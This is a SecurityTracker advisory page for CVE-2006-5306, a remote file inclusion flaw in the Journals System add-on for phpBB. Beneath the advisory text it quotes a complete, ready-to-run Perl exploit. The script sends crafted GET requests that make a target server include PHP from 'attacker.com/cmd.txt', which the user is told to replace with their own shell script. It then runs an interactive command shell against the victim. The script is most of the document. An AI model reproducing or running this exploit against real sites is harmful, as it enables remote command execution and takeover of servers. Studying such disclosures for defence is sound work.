SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   Journals System Vendors:   NBishop
Journals System 'phpbb_root_path' Parameter Include File Bug Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1017058
SecurityTracker URL:  http://securitytracker.com/id/1017058
CVE Reference:   CVE-2006-5306   (Links to External Site)
Updated:  Jun 2 2008
Original Entry Date:  Oct 13 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.0.2 [RC2]
Description:   A vulnerability was reported in Journals System. A remote user can include and execute arbitrary code on the target system.

Several scripts do not properly validate user-supplied input in the 'phpbb_root_path' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

The 'includes/journals_delete.php', 'includes/journals_post.php', and 'includes/journals_edit.php' files are affected.

Nima Salehi reported this vulnerability.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  projects.nbishop.name/phpbb/viewforum.php?f=8 (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Journals System <= 1.0.2 [RC2] Remote File Include Vulnerability

#!/usr/bin/perl
 
################################################################################
#                                                                              #
# Journals System    (  Independant Journals System for phpBB   )              #
#                                                                              #
# Class:   Remote File Include Vulnerability                                   #
#                                                                              #
# Patch:   unavailable                                                         #
#                                                                              #
# Date:    2006/10/12                                                          #
#                                                                              #
# Remote:  Yes                                                                 #
#                                                                              #
# Type:    high                                                                #
#                                                                              #
# Site:    http://projects.nbishop.name/phpbb/files/journals_system_1.0.2.zip  #
#                                                                              #
################################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt";   # <====== Change This Line With Your Personal Script

print "\n";
print "######################################################################\n";
print "#                                                                    #\n";
print "# Journals System <= 1.0.2 [RC2]  Remote File Include Vulnerability  #\n";
print "# Bug found By : Ashiyane Corporation                                #\n";
print "# Email: Nima Salehi    nima[at]ashiyane.ir                          #\n";
print "# Web Site : www.Ashiyane.ir                                         #\n";
print "#                                                                    #\n";
print "######################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Ashiyane.pl [host] [path] ";
    print "\n EX : Ashiyane.pl www.victim.com /phpbb/  \n\n";
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];

#$vul=includes/journals_delete.php?phpbb_root_path="
#$vul=includes/journals_post.php?phpbb_root_path="
$vul=includes/journals_edit.php?phpbb_root_path="

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";

    print $socket "GET ".$path.$vul.$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "<Shell> ";
    $cmd = <STDIN>;
}

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC